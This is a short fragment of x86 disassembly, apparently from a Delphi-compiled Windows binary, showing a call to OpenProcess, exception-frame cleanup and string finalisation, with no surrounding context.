call sub.KERNEL32.DLL_OpenProcess
mov edx, 0x13143c10
call fcn.13142818
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x13143bc7
lea eax, [ebp - 0x24]
mov edx, 5
call fcn.13141cf4
ret